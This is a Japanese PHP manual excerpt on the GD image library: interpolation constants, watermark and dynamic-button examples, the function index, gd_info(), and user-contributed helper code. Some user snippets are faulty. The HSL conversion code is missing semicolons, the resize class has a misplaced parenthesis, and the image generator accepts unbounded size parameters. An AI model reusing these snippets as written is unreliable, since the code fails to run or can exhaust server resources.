imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_MITCHELL (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_POWER (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_QUADRATIC (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_SINC (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_NEAREST_NEIGHBOUR (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_WEIGHTED4 (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_TRIANGLE (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。

User Contributed Notes

webmaster at alexventure dot com 08-Aug-2011 06:25
In case anyone is wondering what these filters are for, have a look at the W3C's specification:

http://www.w3.org/TR/PNG-Filters.html


例

目次

  • PHP による PNG の生成
  • アルファチャネルを使用した、画像へのすかしの追加
  • imagecopymerge による半透明なすかしの作成

User Contributed Notes

There are no user contributed notes for this page.


PHP による PNG の生成

例1 PHP による PNG の生成

<?php

header("Content-type: image/png");
$string = $_GET['text'];
$im     = imagecreatefrompng("images/button1.png");
$orange = imagecolorallocate($im, 220, 210, 60);
$px     = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $orange);
imagepng($im);
imagedestroy($im);

?>
この例のスクリプトは、<img src="button.php?text"> のようなタグが書かれたページからコールされるものです。 上の button.php スクリプトは、この "text" 文字列を引数とし、 基本画像 "images/button1.png" の上にこの文字列を重ねて描いた後、その画像を出力します。 この方法を使うと、ボタンのテキストが変わるたびに新たなボタンを作り直す羽目になることを回避できます。 この方法により、動的に画像ボタンを生成できるのです。

User Contributed Notes

viishalkumarsahu at gmail dot com 16-Dec-2016 09:24
Function to create random png images when requested for example...
<img src="create_image.php?s=008080_F_1000_200&t=Sample%20Image%20Drawn%20By%20PHP" alt="GD Library Example Image" >

here is create_image.php
<?php
$setting = isset($_GET['s']) ? $_GET['s'] : "FFF_111_100_100";
$setting = explode("_",$setting );
$img = array();

switch ($n = count($setting)) {
    case $n > 4 :
    case 3:
        $setting[3] = $setting[2];
    case 4:
        $img['width'] = (int) $setting[2];
        $img['height'] = (int) $setting[3];
    case 2:
        $img['color'] = $setting[1];
        $img['background'] = $setting[0];
        break;
    default:
        list($img['background'],$img['color'],$img['width'],$img['height']) = array('F','0',100,100);
        break;
}

$background = explode(",",hex2rgb($img['background']));
$color = explode(",",hex2rgb($img['color']));
$width = empty($img['width']) ? 100 : $img['width'];
$height = empty($img['height']) ? 100 : $img['height'];
$string = (string) isset($_GET['t']) ? $_GET['t'] : $width ."x". $height;

header("Content-Type: image/png");
$image = @imagecreate($width, $height)
    or die("Cannot Initialize new GD image stream");

$background_color = imagecolorallocate($image, $background[0], $background[1], $background[2]);
$text_color = imagecolorallocate($image, $color[0], $color[1], $color[2]);

imagestring($image, 5, 5, 5, $string, $text_color);
imagepng($image);
imagedestroy($image);

function hex2rgb($hex) {
    // Copied
   $hex = str_replace("#", "", $hex);

   switch (strlen($hex)) {
       case 1:
           $hex = $hex.$hex;
       case 2:
          $r = hexdec($hex);
          $g = hexdec($hex);
          $b = hexdec($hex);
           break;

       case 3:
          $r = hexdec(substr($hex,0,1).substr($hex,0,1));
          $g = hexdec(substr($hex,1,1).substr($hex,1,1));
          $b = hexdec(substr($hex,2,1).substr($hex,2,1));
           break;

       default:
          $r = hexdec(substr($hex,0,2));
          $g = hexdec(substr($hex,2,2));
          $b = hexdec(substr($hex,4,2));
           break;
   }

   $rgb = array($r, $g, $b);
   return implode(",", $rgb);
}


アルファチャネルを使用した、画像へのすかしの追加

例1 アルファチャネルを使用した、画像へのすかしの追加

<?php
// スタンプと、それをすかしとして適用する写真を読み込みます
$stamp = imagecreatefrompng('stamp.png');
$im = imagecreatefromjpeg('photo.jpeg');

// スタンプの余白を設定し、スタンプ画像の幅と高さを取得します
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// スタンプ画像を写真の上にコピーします。余白の値と
// 写真の幅を元にスタンプの位置を決定します
imagecopy($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));

// 出力し、メモリを開放します
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
この例は、すかしやスタンプを写真あるいは著作権つき画像に追加するための一般的な方法です。 スタンプ画像内のアルファチャネルのテキストはアンチエイリアス処理されることに注意しましょう。 画像をコピーしてもこれは残り続けます。

User Contributed Notes

There are no user contributed notes for this page.


imagecopymerge による半透明なすかしの作成

  • ≪ アルファチャネルを使用した、画像へのすかしの追加
  • GD および Image 関数 ≫
  • PHP Manual
  • 例
  • imagecopymerge による半透明なすかしの作成

imagecopymerge() による半透明なすかしの作成

例1 imagecopymerge() による半透明なすかしの作成

<?php
// スタンプと、それをすかしとして適用する写真を読み込みます
$im = imagecreatefromjpeg('photo.jpeg');

// まず、スタンプ画像を GD で作成します
$stamp = imagecreatetruecolor(100, 70);
imagefilledrectangle($stamp, 0, 0, 99, 69, 0x0000FF);
imagefilledrectangle($stamp, 9, 9, 90, 60, 0xFFFFFF);
imagestring($stamp, 5, 20, 20, 'libGD', 0x0000FF);
imagestring($stamp, 3, 20, 40, '(c) 2007-9', 0x0000FF);

// スタンプの余白を設定し、スタンプ画像の幅と高さを取得します
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// スタンプを、50% の不透明度で写真に重ねます
imagecopymerge($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp), 50);

// 画像をファイルに保存し、メモリを開放します
imagepng($im, 'photo_stamp.png');
imagedestroy($im);

?>
この例は、imagecopymerge() を使ってスタンプを元画像にかぶせます。 これを使うと、スタンプの不透明度を設定することができます。 今回の例では 50% の不透明度に設定しています。 この半透明のすかしを用いる方法は、著作権つきの画像を保護するのに便利です。 すかしをとるのは非常に難しく、またもとの画像の見栄えも損ねません。

User Contributed Notes

There are no user contributed notes for this page.


GD および Image 関数

目次

  • gd_info — 現在インストールされているGDライブラリに関する情報を取得する
  • getimagesize — 画像の大きさを取得する
  • getimagesizefromstring — 画像の大きさを文字列から取得する
  • image_type_to_extension — 画像形式からファイルの拡張子を取得する
  • image_type_to_mime_type — getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する
  • image2wbmp — 画像をブラウザあるいはファイルに出力する
  • imageaffine — 元の画像を、オプションのクリッピング領域を使ってアフィン変換した画像を返す
  • imageaffinematrixconcat — 二つのアフィン変換行列を連結する
  • imageaffinematrixget — アフィン変換行列を取得する
  • imagealphablending — イメージのブレンドモードを設定する
  • imageantialias — アンチエイリアス機能を使用すべきかどうかを判断する
  • imagearc — 部分楕円を描画する
  • imagebmp — ビットマップ画像をブラウザかファイルに出力する
  • imagechar — 水平に文字を描画する
  • imagecharup — 垂直に文字を描画する
  • imagecolorallocate — 画像で使用する色を作成する
  • imagecolorallocatealpha — 画像で使用する色を透過度を指定して作成する
  • imagecolorat — ピクセルの色のインデックスを取得する
  • imagecolorclosest — 指定した色に最も近い色のインデックスを取得する
  • imagecolorclosestalpha — 指定した色+アルファ値に最も近い色のインデックスを取得する
  • imagecolorclosesthwb — 色合い、白、黒を有する色のインデックスを得る
  • imagecolordeallocate — イメージの色リソースを開放する
  • imagecolorexact — 指定した色のインデックスを取得する
  • imagecolorexactalpha — 指定した色+アルファ値のインデックスを取得する
  • imagecolormatch — パレットイメージの色を True カラーイメージに近づける
  • imagecolorresolve — 指定した色または出来るだけ近い色のインデックスを得る
  • imagecolorresolvealpha — 指定した色+アルファ値または最も近い色のインデックスを取得する
  • imagecolorset — 指定したパレットインデックスの色を設定する
  • imagecolorsforindex — カラーインデックスからカラーを取得する
  • imagecolorstotal — 画像パレットの色数を検出する
  • imagecolortransparent — 透明色を定義する
  • imageconvolution — div および offset の係数を使用し、3x3 の畳み込み配列を適用する
  • imagecopy — 画像の一部をコピーする
  • imagecopymerge — イメージの一部をコピー、マージする
  • imagecopymergegray — グレースケールでイメージの一部をコピー、マージする
  • imagecopyresampled — 再サンプリングを行いイメージの一部をコピー、伸縮する
  • imagecopyresized — 画像の一部をコピーしサイズを変更する
  • imagecreate — パレットを使用する新規画像を作成する
  • imagecreatefrombmp — 新しい画像をファイルあるいは URL から作成する
  • imagecreatefromgd2 — GD2 ファイルまたは URL から新規イメージを生成する
  • imagecreatefromgd2part — GD2 ファイルまたは URL の指定した部分から新規イメージを生成する
  • imagecreatefromgd — GD ファイルまたは URL から新規イメージを生成する
  • imagecreatefromgif — 新しい画像をファイルあるいは URL から作成する
  • imagecreatefromjpeg — 新しい画像をファイルあるいは URL から作成する
  • imagecreatefrompng — 新しい画像をファイルあるいは URL から作成する
  • imagecreatefromstring — 文字列の中のイメージストリームから新規イメージを作成する
  • imagecreatefromwbmp — 新しい画像をファイルあるいは URL から作成する
  • imagecreatefromwebp — 新しい画像をファイルあるいは URL から作成する
  • imagecreatefromxbm — 新しい画像をファイルあるいは URL から作成する
  • imagecreatefromxpm — 新しい画像をファイルあるいは URL から作成する
  • imagecreatetruecolor — TrueColor イメージを新規に作成する
  • imagecrop — 指定した矩形に画像をクロップする
  • imagecropauto — 利用可能なモードを指定して、画像を自動的にクロップする
  • imagedashedline — 破線を描画する
  • imagedestroy — 画像を破棄する
  • imageellipse — 楕円を描画する
  • imagefill — 塗り潰す
  • imagefilledarc — 楕円弧を描画し、塗りつぶす
  • imagefilledellipse — 塗りつぶされた楕円を描画する
  • imagefilledpolygon — 塗りつぶした多角形を描画する
  • imagefilledrectangle — 塗りつぶした矩形を描画する
  • imagefilltoborder — 特定色で塗りつぶす
  • imagefilter — 画像にフィルタを適用する
  • imageflip — 指定したモードで画像を反転させる
  • imagefontheight — フォントの高さを取得する
  • imagefontwidth — フォントの幅を取得する
  • imageftbbox — freetype2 によるフォントを用いたテキストを囲む箱を取得する
  • imagefttext — FreeType 2 によるフォントを用いてイメージにテキストを描画する
  • imagegammacorrect — GD イメージにガンマ補正を適用する
  • imagegd2 — GD2 イメージをブラウザまたはファイルに出力する
  • imagegd — GD イメージをブラウザまたはファイルに出力する
  • imagegetclip — 長方形を切り取り、画像として取得する
  • imagegetinterpolation — 補間方法を取得する
  • imagegif — 画像をブラウザあるいはファイルに出力する
  • imagegrabscreen — 画面全体をキャプチャする
  • imagegrabwindow — ウィンドウをキャプチャする
  • imageinterlace — インターレースを有効もしくは無効にする
  • imageistruecolor — 画像が truecolor かどうか調べる
  • imagejpeg — 画像をブラウザあるいはファイルに出力する
  • imagelayereffect — アルファブレンディングフラグを設定し、レイヤ効果を使用する
  • imageline — 直線を描画する
  • imageloadfont — 新しいフォントを読み込む
  • imageopenpolygon — オープンポリゴンを描画する
  • imagepalettecopy — あるイメージから他のイメージにパレットをコピーする
  • imagepalettetotruecolor — パレット形式の画像を true color に変換する
  • imagepng — PNG イメージをブラウザまたはファイルに出力する
  • imagepolygon — 多角形を描画する
  • imagerectangle — 矩形を描画する
  • imageresolution — 画像の解像度を取得/設定する
  • imagerotate — 指定された角度で画像を回転する
  • imagesavealpha — PNG 画像を保存する際に、完全なアルファチャネル情報を保存するかどうかを指定する
  • imagescale — 幅と高さを指定して、画像の縮尺を変更する
  • imagesetbrush — 線の描画用にブラシイメージを設定する
  • imagesetclip — 切り取る長方形を設定する
  • imagesetinterpolation — 補間方法を設定する
  • imagesetpixel — 点を生成する
  • imagesetstyle — 線描画用のスタイルを設定する
  • imagesetthickness — 線描画用の線幅を設定する
  • imagesettile — 塗りつぶし用のイメージを設定する
  • imagestring — 文字列を水平に描画する
  • imagestringup — 文字列を垂直に描画する
  • imagesx — 画像の幅を取得する
  • imagesy — 画像の高さを取得する
  • imagetruecolortopalette — TrueColor イメージをパレットイメージに変換する
  • imagettfbbox — TypeType フォントを使用したテキストの bounding box を生成する
  • imagettftext — TrueType フォントを使用してテキストを画像に書き込む
  • imagetypes — この PHP がサポートしている画像形式を返す
  • imagewbmp — 画像をブラウザあるいはファイルに出力する
  • imagewebp — WebP 画像をブラウザあるいはファイルに出力する
  • imagexbm — XBM 画像をブラウザあるいはファイルに出力する
  • iptcembed — バイナリ IPTC データを JPEG イメージに埋めこむ
  • iptcparse — バイナリの IPTC ブロックのタグをパースする
  • jpeg2wbmp — JPEG画像をWBMP画像に変換する
  • png2wbmp — PNG画像をWBMP画像に変換する

User Contributed Notes

delabahan at gmail dot com 24-Nov-2016 05:44
This is an example of get high resolution images.

<?php
 /**
 * Class name      : resizeImage
 * Created by   : wang
 * Description   : This class is to resize the image from original size to new size
 */
class resizeImage
{
     /**
     * Function name : resize_img
     * Description   : This function is to resize image
     * @param          : $origimg variable is the original image
     * @param          : $newimg variable is the new image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    public  function resize_img($origimg,$newimg,$w,$h){
        $info = getimagesize($origimg);
        $mime   = $info['mime'];

        // Make sure that the requested file is actually an image
        if(substr($mime, 0, 6) != 'image/')
        {
            header('HTTP/1.1 400 Bad Request');
            return 'Error: requested file is not an accepted type: ' .$origimg;
            exit();
        }

        // Check they extention of image
        $extension = image_type_to_extension($info[2]);
        if(strtolower($extension) == '.png'){
            $img = $this->resize_imagepng($origimg,$w, $h);
            imagepng($img,$newimg);
            imagedestroy($img);
        }elseif(strtolower($extension) == '.jpeg'){
            $img = $this->resize_imagejpeg($origimg, $w, $h);
            imagejpeg($img, $newimg);
            imagedestroy($img);
        }elseif(strtolower($extension == '.gif')){
            $img = $this->resize_imagegif($origimg, $w, $h);
            imagegif($img,$newimg);
            imagedestroy($img);
        }

    }
     /**
     * End function name : resize_img
     */

     /**
     * Function name : resize_imagepng
     * Description   : This function is to resize png image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagepng($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefrompng($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagepng
     */

     /**
     * Function name : resize_imagejpeg
     * Description   : This function is to resize jpeg image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagejpeg($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefromjpeg($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagejpeg
     */

     /**
     * Function name : resize_imagegif
     * Description   : This function is to resize gif image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagegif($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefromgif($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagegif
     */
}
/**
* End class name : resizeImage
*/
?>
mpyw 10-Nov-2016 08:45
This is an example of black-and-white imagebmp() implementation.

<?php

/**
 * Output a black-and-white BMP image to either the browser or a file.
 *
 * @param resource $image
 *            An image resource, returned by one of the image creation functions,
 *            such as imagecreatetruecolor().
 *
 * @param string|null $to
 *            The path or an open stream resource
 *            (which is automatically being closed after this function returns)
 *            to save the file to.
 *            If not set or NULL, the raw image stream will be outputted directly.
 *
 * @param float $threshold
 *            The number in the range of 0.0 to 1.0.
 *            Brighter for larger, or darker for smaller.
 *
 * @return bool Returns TRUE on success or FALSE on failure.
 *
 */
function imagebwbmp($image, $to = null, $threshold = 0.5)
{
    if (func_num_args() < 1) {
        $fmt = "imagebwbmp() expects a least 1 parameters, %d given";
        trigger_error(sprintf($fmt, func_num_args()), E_USER_WARNING);
        return;
    }
    if (!is_resource($image)) {
        $fmt = "imagebwbmp() expects parameter 1 to be resource, %s given";
        trigger_error(sprintf($fmt, gettype($image)), E_USER_WARNING);
        return;
    }
    if (!is_numeric($threshold)) {
        $fmt = "imagebwbmp() expects parameter 3 to be float, %s given";
        trigger_error(sprintf($fmt, gettype($threshold)), E_USER_WARNING);
        return;
    }

    if (get_resource_type($image) !== 'gd') {
        $msg = "imagebwbmp(): supplied resource is not a valid gd resource";
        trigger_error($msg, E_USER_WARNING);
        return false;
    }
    switch (true) {
        case $to === null:
            break;
        case is_resource($to) && get_resource_type($to) === 'stream':
        case is_string($to) && $to = fopen($to, 'wb'):
            if (preg_match('/[waxc+]/', stream_get_meta_data($to)['mode'])) {
                break;
            }
        default:
            $msg = "imagebwbmp(): Invalid 2nd parameter, it must a writable filename or a writable stream";
            trigger_error($msg, E_USER_WARNING);
            return false;
    }

    if ($to === null) {
        $to = fopen('php://output', 'wb');
    }

    $biWidth = imagesx($image);
    $biHeight = imagesy($image);
    $biSizeImage = ((int)ceil($biWidth / 32) * 32 / 8 * $biHeight);
    $bfOffBits = 54 + 4 * 2; // Use two colors (black and white)
    $bfSize = $bfOffBits + $biSizeImage;

    fwrite($to, 'BM');
    fwrite($to, pack('VvvV', $bfSize, 0, 0, $bfOffBits));
    fwrite($to, pack('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 1, 0, $biSizeImage, 0, 0, 0, 0));
    fwrite($to, "\xff\xff\xff\x00"); // white
    fwrite($to, "\x00\x00\x00\x00"); // black

    for ($y = $biHeight - 1; $y >= 0; --$y) {
        $byte = 0;
        for ($x = 0; $x < $biWidth; ++$x) {
            $rgb = imagecolorsforindex($image, imagecolorat($image, $x, $y));
            $value = (0.299 * $rgb['red'] + 0.587 * $rgb['green'] + 0.114 * $rgb['blue']) / 0xff;
            $color = (int)($value > $threshold);
            $byte = ($byte << 1) | $color;
            if ($x % 8 === 7) {
                fwrite($to, pack('C', $byte));
                $byte = 0;
            }
        }
        if ($x % 8) {
            fwrite($to, pack('C', $byte << (8 - $x % 8)));
        }
        if ($x % 32) {
            fwrite($to, str_repeat("\x00", (int)((32 - $x % 32) / 8)));
        }
    }

    return true;
}
?>
ingo at jache dot de 14-Oct-2011 03:16
I know this might look somewhat superfluous to others, but i once came across a situation where i needed a *strong* blur on an image without having ImageMagick installed. Executing the convolution-filter several times on the same image is awfully slow and still doesn't give a good blur.

The function below accepts a truecolor-image and a blur-factor between 0.0 and 1.0. Beware: It's still quite slow.

<?php

    function blurImage($srcimg,$blur)
    {
        $blur = $blur*$blur;
        $blur = max(0,min(1,$blur));

        $srcw = imagesx($srcimg);
        $srch = imagesy($srcimg);

        $dstimg = imagecreatetruecolor($srcw,$srch);

        $f1a = $blur;
        $f1b = 1.0 - $blur;

        $cr = 0; $cg = 0; $cb = 0;
        $nr = 0; $ng = 0; $nb = 0;

        $rgb = imagecolorat($srcimg,0,0);
        $or = ($rgb >> 16) & 0xFF;
        $og = ($rgb >> 8) & 0xFF;
        $ob = ($rgb) & 0xFF;

        //-------------------------------------------------
        // first line is a special case
        //-------------------------------------------------
        $x = $srcw;
        $y = $srch-1;
        while ($x--)
        {
            //horizontal blurren
            $rgb = imagecolorat($srcimg,$x,$y);
            $cr = ($rgb >> 16) & 0xFF;
            $cg = ($rgb >> 8) & 0xFF;
            $cb = ($rgb) & 0xFF;

            $nr = ($cr * $f1a) + ($or * $f1b);
            $ng = ($cg * $f1a) + ($og * $f1b);
            $nb = ($cb * $f1a) + ($ob * $f1b);

            $or = $nr;
            $og = $ng;
            $ob = $nb;

            imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
        }
        //-------------------------------------------------

        //-------------------------------------------------
        // now process the entire picture
        //-------------------------------------------------
        $y = $srch-1;
        while ($y--)
        {

            $rgb = imagecolorat($srcimg,0,$y);
            $or = ($rgb >> 16) & 0xFF;
            $og = ($rgb >> 8) & 0xFF;
            $ob = ($rgb) & 0xFF;

            $x = $srcw;
            while ($x--)
            {
                //horizontal
                $rgb = imagecolorat($srcimg,$x,$y);
                $cr = ($rgb >> 16) & 0xFF;
                $cg = ($rgb >> 8) & 0xFF;
                $cb = ($rgb) & 0xFF;

                $nr = ($cr * $f1a) + ($or * $f1b);
                $ng = ($cg * $f1a) + ($og * $f1b);
                $nb = ($cb * $f1a) + ($ob * $f1b);

                $or = $nr;
                $og = $ng;
                $ob = $nb;

                //vertical
                $rgb = imagecolorat($dstimg,$x,$y+1);
                $vr = ($rgb >> 16) & 0xFF;
                $vg = ($rgb >> 8) & 0xFF;
                $vb = ($rgb) & 0xFF;

                $nr = ($nr * $f1a) + ($vr * $f1b);
                $ng = ($ng * $f1a) + ($vg * $f1b);
                $nb = ($nb * $f1a) + ($vb * $f1b);

                $vr = $nr;
                $vg = $ng;
                $vb = $nb;

                imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
            }

        }
        //-------------------------------------------------
        return $dstimg;

    }

    $srcimg = imagecreatefromjpeg("test.jpg");
    $dstimg = blurImage($srcimg,0.2);

    header('Content-type: image/jpeg');
    echo( imagejpeg($dstimg) );
    exit();

?>
chuckstudios at gmail dot com 25-Nov-2008 09:18
I wrote a simple function to convert an image resource to PGM (portable graymap) in order to feed it to an OCR program. It works just like the rest of the image output functions, and will convert to grayscale for you:

<?php
    function imagepgm($image, $filename = null)
    {
        $pgm = "P5 ".imagesx($image)." ".imagesy($image)." 255\n";
        for($y = 0; $y < imagesy($image); $y++)
        {
            for($x = 0; $x < imagesx($image); $x++)
            {
                $colors = imagecolorsforindex($image, imagecolorat($image, $x, $y));
                $pgm .= chr(0.3 * $colors["red"] + 0.59 * $colors["green"] + 0.11 * $colors["blue"]);
            }
        }
        if($filename != null)
        {
            $fp = fopen($filename, "w");
            fwrite($fp, $pgm);
            fclose($fp);
        }
        else
        {
            return $pgm;
        }
    }
?>
ph_corp at yahoo dot fr 23-Dec-2007 03:19
<?php

/**
HSL/RGB conversion functions
very useful for a lot of applications
**/

function RBGtoHSL ( $R, $G, $B )
{

    $var_R = ( $R / 255 );
    $var_G = ( $G / 255 );
    $var_B = ( $B / 255 );

    $var_Min = min( $var_R, $var_G, $var_B )
    $var_Max = max( $var_R, $var_G, $var_B )
    $del_Max = $var_Max - $var_Min

    $L = ( $var_Max + $var_Min ) / 2;

    if ( $del_Max == 0 )
    {
       $H = 0
       $S = 0
    }
    else
    {
        if ( $L < 0.5 )
        {
            $S = $del_Max / ( $var_Max + $var_Min );
        }
        else
        {
            $S = $del_Max / ( 2 - $var_Max - $var_Min );
        }

        $del_R = ( ( ( $var_Max - $var_R ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_G = ( ( ( $var_Max - $var_G ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_B = ( ( ( $var_Max - $var_B ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;

        if ( $var_R == $var_Max )
        {
            $H = $del_B - $del_G;
        }
        else if ( $var_G == $var_Max )
        {
            $H = ( 1 / 3 ) + $del_R - $del_B;
        }
        else if ( $var_B == $var_Max )
        {
            $H = ( 2 / 3 ) + $del_G - $del_R;
        }

        if ( $H < 0 )
        {
            $H += 1;
        }
        if ( $H > 1 )
        {
            $H -= 1
        }

    }

    return array( $H, $S, $L );

}

function HuetoRGB( $v1, $v2, $vH )
{
    if ( $vH < 0 )
    {
        $vH += 1;
    }
    if ( $vH > 1 )
    {
        $vH -= 1;
    }
    if ( ( 6 * $vH ) < 1 )
    {
        return ( $v1 + ( $v2 - $v1 ) * 6 * $vH );
    }
    if ( ( 2 * $vH ) < 1 )
    {
        return ( $v2 );
    }
    if ( ( 3 * $vH ) < 2 )
    {
        return ( $v1 + ( $v2 - $v1 ) * ( ( 2 / 3 ) - $vH ) * 6 );
    }
    return ( $v1 )
}

function HSLtoRGB ( $H, $S, $L )
{

    if ( $S == 0 )
    {
        $R = $L * 255;
        $G = $L * 255;
        $B = $L * 255;
    }
    else
    {
        if ( $L < 0.5 )
        {
            $var_2 = $L * ( 1 + $S );
        }
        else
        {
            $var_2 = ( $L + $S ) - ( $S * $L );
        }

        $var_1 = 2 * $L - $var_2;

        $R = 255 * HuetoRGB( $var_1, $var_2, $H + ( 1 / 3 ) );
        $G = 255 * HuetoRGB( $var_1, $var_2, $H );
        $B = 255 * HuetoRGB( $var_1, $var_2, $H - ( 1 / 3 ) );
    }

    return array( $R, $G, $B );

}

function distance ( $R1, $G1, $B1, $R2, $G2, $B2 )
{
    $result = sqrt ( ( $R1 - $R2 )*( $R1 - $R2 ) + ( $G1 - $G2 )*( $G1 - $G2 ) + ( $B1 - $B2 )*( $B1 - $B2 ) );
    return ( $result );
}

?>
shd at earthling dot net 28-Mar-2006 04:44
If you happen to need a way to output a Windows BMP file (e.g. when using the PEAR ExcelWriter), feel free to use the following code:

<?php
function imagebmp ($im, $fn = false)
{
    if (!$im) return false;

    if ($fn === false) $fn = 'php://output';
    $f = fopen ($fn, "w");
    if (!$f) return false;

    //Image dimensions
    $biWidth = imagesx ($im);
    $biHeight = imagesy ($im);
    $biBPLine = $biWidth * 3;
    $biStride = ($biBPLine + 3) & ~3;
    $biSizeImage = $biStride * $biHeight;
    $bfOffBits = 54;
    $bfSize = $bfOffBits + $biSizeImage;

    //BITMAPFILEHEADER
    fwrite ($f, 'BM', 2);
    fwrite ($f, pack ('VvvV', $bfSize, 0, 0, $bfOffBits));

    //BITMAPINFO (BITMAPINFOHEADER)
    fwrite ($f, pack ('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 24, 0, $biSizeImage, 0, 0, 0, 0));

    $numpad = $biStride - $biBPLine;
    for ($y = $biHeight - 1; $y >= 0; --$y)
    {
        for ($x = 0; $x < $biWidth; ++$x)
        {
            $col = imagecolorat ($im, $x, $y);
            fwrite ($f, pack ('V', $col), 3);
        }
        for ($i = 0; $i < $numpad; ++$i)
            fwrite ($f, pack ('C', 0));
    }
    fclose ($f);
    return true;
}
?>

It works the same way as regular imagejpeg/imagepng do and only supports GD2.0 true colour bitmaps (which is what's required by ExcelWriter).
felipensp at gmail dot com 12-Mar-2006 09:17
Representation decimal of a color in hexadecimal for use on functions of library GD.

<?php

    // Representation hexadecimal
    $var = '#FFFFFF';

    function getRgbFromGd($color_hex) {

        return array_map('hexdec', explode('|', wordwrap(substr($color_hex, 1), 2, '|', 1)));

    }

    print_r(getRgbFromGd($var));

    // Output: Array ( [0] => 255 [1] => 255 [2] => 255 )

?>
michal-ok at o2 dot pl 18-Oct-2005 02:29
The image sharpen function (by Alex R. Austin) provided below seems to be very resource hungry and I couldn't make it work on two different servers - trying to sharpen a 413 x 413 image I ended up with "Fatal error: Allowed memory size of 8388608 bytes exhausted" or "Internal Server Error" or the script terminated without notice. Because I had no priviliges to change the default memory limit on these servers I started looking for other sharpen functions. I have come across a php Unsharp Mask function which works like a charm on both of the servers I dealt with. It can be found at http://vikjavev.no/hovudsida/umtestside.php.
jeff at lushmedia dot com 04-Nov-2003 08:52
I wrote an online overview of the image functions that people might find useful. In addition to a general overview of the various function categories and code samples, I have included many interactive examples of the functions, allowing viewers to experiment with the parameters, and seeing the results in real time. The presentation is located at New York PHP
http://www.nyphp.org/content/presentations/GDintro/


現在インストールされているGDライブラリに関する情報を取得する

  • ≪ GD および Image 関数
  • getimagesize ≫
  • PHP Manual
  • GD および Image 関数
  • 現在インストールされているGDライブラリに関する情報を取得する

gd_info

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

gd_info — 現在インストールされているGDライブラリに関する情報を取得する

説明

gd_info ( ) : array

インストールされている GD ライブラリのバージョンとスペックに関する情報を取得します。

返り値

連想配列を返します。

gd_info() が返す配列の要素
属性 | 意味
GD Version | string。インストールされている libgdのバージョン
FreeType Support | bool value. true の場合FreeTypeサポートはインストールされている
FreeType Linkage | string値。FreeTypeのリンク方法の情報。 'with freetype', 'with TTF library', 'with unknown library'など。 FreeType Supportがtrueにセットされている場合にのみ この要素が定義されます。
T1Lib Support | bool値。 T1Libサポートが含まれている場合にtrue
GIF Read Support | bool値。 GIF画像の読み込み がサポートされている場合にtrue
GIF Create Support | bool値。 GIF画像の生成 がサポートされている場合にtrue
JPEG Support | bool値。 JPEGサポートが含まれている場合にtrue
PNG Support | bool値。 PNGサポートが含まれている場合にtrue
WBMP Support | bool値。 WBMPサポートが含まれている場合にtrue
XBM Support | bool値。 XBMサポートが含まれている場合にtrue
WebP Support | bool 値。 WebP サポートが含まれている場合にtrue

注意:

PHP 5.3.0 より前のバージョンでは、JPEG Support 属性は JPG Support という名前でした。

例

例1 gd_info() の使用法

<?php
var_dump(gd_info());
?>

上の例の出力は、 たとえば以下のようになります。

array(10) {
  ["GD Version"]=>
  string(24) "bundled (2.1.0 compatible)"
  ["FreeType Support"]=>
  bool(false)
  ["T1Lib Support"]=>
  bool(false)
  ["GIF Read Support"]=>
  bool(true)
  ["GIF Create Support"]=>
  bool(false)
  ["JPEG Support"]=>
  bool(false)
  ["PNG Support"]=>
  bool(true)
  ["WBMP Support"]=>
  bool(true)
  ["XBM Support"]=>
  bool(false)
  ["WebP Support"]=>
  bool(false)
}

参考

  • imagepng() - PNG イメージをブラウザまたはファイルに出力する
  • imagejpeg() - 画像をブラウザあるいはファイルに出力する
  • imagegif() - 画像をブラウザあるいはファイルに出力する
  • imagewbmp() - 画像をブラウザあるいはファイルに出力する
  • imagewebp() - WebP 画像をブラウザあるいはファイルに出力する
